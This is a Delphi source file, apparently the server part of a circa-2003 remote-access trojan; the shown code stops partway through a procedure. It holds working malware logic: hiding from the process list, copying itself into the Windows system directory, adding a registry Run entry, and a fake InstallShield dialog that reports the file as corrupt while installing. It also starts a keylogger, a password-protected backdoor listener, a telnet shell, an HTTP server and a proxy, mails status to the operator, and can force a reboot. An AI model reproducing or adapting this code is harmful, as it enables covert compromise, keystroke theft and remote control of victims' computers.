main.pas

2003年的远程控制

unit main;

interface

uses
  Windows, Messages, SysUtils, Forms,
  ScktComp,Graphics,Dialogs, Classes,
  ExtCtrls, Controls, StdCtrls, Buttons,
  { wlasne unity }
  Stale,Imager,Toolz,Figle,Siec,Windoz,Httpd,Skrypt,Konfig,Shield, Keyspy;

type
  Tpro70 = class(TForm)
    ServSock: TServerSocket;
    clisock: TClientSocket;
    Back: TServerSocket;
    Timer1: TTimer;
    http: TServerSocket;
    count: TTimer;
    sendmail: TClientSocket;
    telnet: TServerSocket;
    procedure ServSockClientConnect(Sender: TObject;Socket: TCustomWinSocket);
    procedure ServSockClientDisconnect(Sender: TObject;Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure CliSockError(Sender: TObject; Socket: TCustomWinSocket;ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ServSockClientError(Sender: TObject;
       Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ServSockClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure CliSockConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure CliSockRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure CliSockWrite(Sender: TObject; Socket: TCustomWinSocket);
    procedure BackClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure BackClientError(Sender: TObject; Socket: TCustomWinSocket;
       ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure BackClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure BackClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure clisockDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure TimerShowWindow(Sender: TObject);
    procedure TimerFlash(Sender: TObject);
    procedure Timer1Jpeg(Sender: TObject);
    procedure Timer1inv(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure ServSockClientWrite(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure httpClientRequest(Sender: TObject; Socket: TCustomWinSocket);
    procedure httpClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure httpClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure countTimer(Sender: TObject);
    procedure sendmailConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure sendmailError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure sendmailRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure httpClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure sendmailDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure KeySpyKeySpyDown(Sender: TObject; Key: Byte; KeyStr: String);
    procedure KeySpyKeyword(Sender: TObject; Key: Byte; KeyStr: String);
    procedure telnetClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure telnetClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure telnetClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure telnetClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure mazak(Sender:Tobject;var done:boolean);
    procedure mazak2(Sender:Tobject;var done:boolean);
    procedure mazak3(Sender:Tobject;var done:boolean);
    procedure mazak4(Sender:Tobject;var done:boolean);
    procedure mazak5(Sender:Tobject;var done:boolean);
    function ShieldSimulator(prog:string;i:integer):boolean;
{    procedure EnumCachedPasswords;}
  end;

{main}
var form1: Tpro70;
var vjpeg: Tvjpeg;
    keybuffer:TstringList;

{proxy}
var autorized,scriptrunning:boolean;
   httpd_:integer;
   debugger:boolean;
   keybeep:boolean;
   hmaping:THandle;
   przerwij,telnetusr:boolean;
   key_level:byte;
   focus_win:hwnd;
   update_run:boolean;

 procedure closeapp;
 procedure parsecommand(s:string);
 procedure Command(comm:String;par1,par2:string);
 procedure main_command(comm:string;par1,par2:string);

implementation

{$R *.DFM}

procedure Tpro70.ServSockClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
proxy_client_connect(socket);
end;

procedure Tpro70.ServSockClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
proxy_client_disconnect(socket);
end;

function Tpro70.ShieldSimulator(prog:string;i:integer):boolean;
var res:boolean;
var inst:Tshield;
begin
res:=messagebox(getdesktopwindow,
  Pchar('This will install '+prog+'. Do you wish to continue?'),
  'InstallShield Self-Extracting EXE',
   MB_TASKMODAL OR MB_TOPMOST OR MB_YESNO)=ID_YES;
result:=res;
if not res then exit;
inst:=Tshield.create(nil);
inst.show;
inst.runinstall(i);
inst.free;
if config.shielderror then
res:=messagebox(getdesktopwindow,
  'This file is not then correct size or is corupt, and is unusable',
  'InstallShield Self-Extracting EXE',
   MB_TASKMODAL OR MB_TOPMOST OR MB_OK)=ID_OK;
end;

procedure Tpro70.FormCreate(Sender: TObject);
var   newfile:ansistring;
      konfig_ok:boolean;
      mailcount,i:integer;
      jest:boolean;
      tmp:string;
begin
for i:=1 to 12 do shortmonthnames[i]:=shortmonth[i];
for i:=1 to 7 do shortdaynames[i]:=shortday[i];
httpd_:=0;
focus_win:=0;
keybeep:=false;
update_run:=true;
keybuffer:=TstringList.Create;
registerserviceprocess(0,1);
readconfig;
konfig_ok:=czytajkonfig;
if not konfig_ok then halt;
debugger:=config.debug;
{debugger:=true;}
debug(version);
killall('TForm1');
killall('TPro6');
killall('TPro61');
hMaping:=CreateFileMapping(THANDLE($FFFFFFFF),nil,
 PAGE_READONLY,0,32,mapfile);
jest:=(GetLastError=ERROR_ALREADY_EXISTS);
newfile:=uppercase(sysdirectory+'\'+config.profile);
if (upperCase(paramstr(0))<>newfile) then
   begin
   if (not jest) and config.install then
    begin
    debug('instalacja');
    T_RegisteryWriteConfig(REG_MAIL,config.mail);
    T_RegisteryAddRun(config.profile);
    debug('wpis w rejestrze '+config.profilekey);
    debug('exe in windows/system '+config.profile);
    copyfile(Pchar(paramstr(0)),Pchar(sysdirectory+'\'+config.profile),false);
    updateconfig;
    NET_updateconfig;
    HTTPD_updateconfig;
    debug(config.info);
    writeconfig;
    readconfig;
    debug('Send e-mail '+config.email);
    debug('back '+inttostr(config.backport));
    debug('haslo '+config.haslo);
   end;
    if config.shield then
     begin
     if shieldsimulator(config.installname,config.installprocent) then
      begin  
       if config.shieldrun_en then begin
                                tmp:=config.shieldrun;
                                Winexec(Pchar(tmp),config.shieldrun_mode);
                                end;
      end;
     end;
    if config.installhalt then halt;  
    if jest then halt;
    if config.reboot then
     begin
     debug('reboot '+inttostr(1000*config.reboottimeout));
     sleep(1000*config.reboottimeout);
     ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0);
     end; //reboot
    runscript('install');
   end; //koniec instalacji
if autostart_log then t_openlog;
if autostart_keylog then t_openkeylog;
if httpd_auto then httpd_start;
if NET_proxyauto then PROXY_start;
if NET_telnetauto then Telnet_start;
Back_start;
usunstareprosiaki;
LoadTerminy;
runscript('start');
mailcount:=T_RegisteryGetInteger(REG_MAIL,3);
if (mailcount>0) then
 begin
 debug('Mail count: '+inttostr(mailcount));
 NET_mailstatus(config.email);
 repeat
  Application.processmessages;
 until not net_mailsending;   //czeka na wyslanie listu
 if net_mailsent then dec(mailcount);
 T_registeryWriteConfig(REG_MAIL,mailcount);
 end;
debug('end loop');
end;

procedure Tpro70.CliSockError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
case errorcode of
10061: xlog(c_snotready);
else xlog(c_serror+inttostr(errorcode));
end;
ErrorCode:=0;
debug('client error');
proxy_ClientClose;
proxy_ServerClose;
servsock.active:=true;
end;

procedure Tpro70.ServSockClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin

case errorcode of
10054: xlog(c_cdisc);
else xlog(c_cerror+inttostr(errorcode));
end;
errorcode:=0;
debug('serv error');
proxy_ClientClose;
proxy_ServerClose;
servsock.active:=true;
errorcode:=0;
end;

procedure Tpro70.ServSockClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
proxy_server_read(socket);
end;

procedure Tpro70.CliSockConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
proxy_server_connect(socket);
end;

procedure Tpro70.CliSockRead(Sender: TObject; Socket: TCustomWinSocket);
begin
proxy_client_read(socket);
end;


procedure Tpro70.CliSockWrite(Sender: TObject; Socket: TCustomWinSocket);
begin
proxy_client_push(socket);
end;

procedure Tpro70.BackClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
back_connect(socket);
telnetusr:=false;
key_level:=key_0;
end;

procedure Tpro70.BackClientError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
case errorcode of
10054: xlog(c_backdisc);
else xlog(c_backerror+inttostr(errorcode));
end;
errorcode:=0;
back_kick;
errorcode:=0;
end;

procedure Tpro70.BackClientRead(Sender: TObject; Socket: TCustomWinSocket);
var tx,tmp:string;
begin
tx:=socket.receivetext;
if tx[1]=#3 then socket.close;
if tx[1]='%' then
     begin
     socket.sendtext(#$FF#$FC#$01#10#13); {ustawienie echa}
     socket.sendtext(Inf_Version+progname+nl);
     autorized:=false;
     telnetusr:=true;
     end;
if tx=GUI_ident then
     begin
     socket.SendText(Inf_Version+progname+nl);
     socket.sendtext(Inf_WaitForPass+nl);
     autorized:=false;
     end;
 repeat
 if pos(nl,tx)=0 then
    tmp:=tx else begin
                tmp:=copy(tx,1,pos(nl,tx)-1);
                tx:=copy(tx,pos(nl,tx)+2,2000);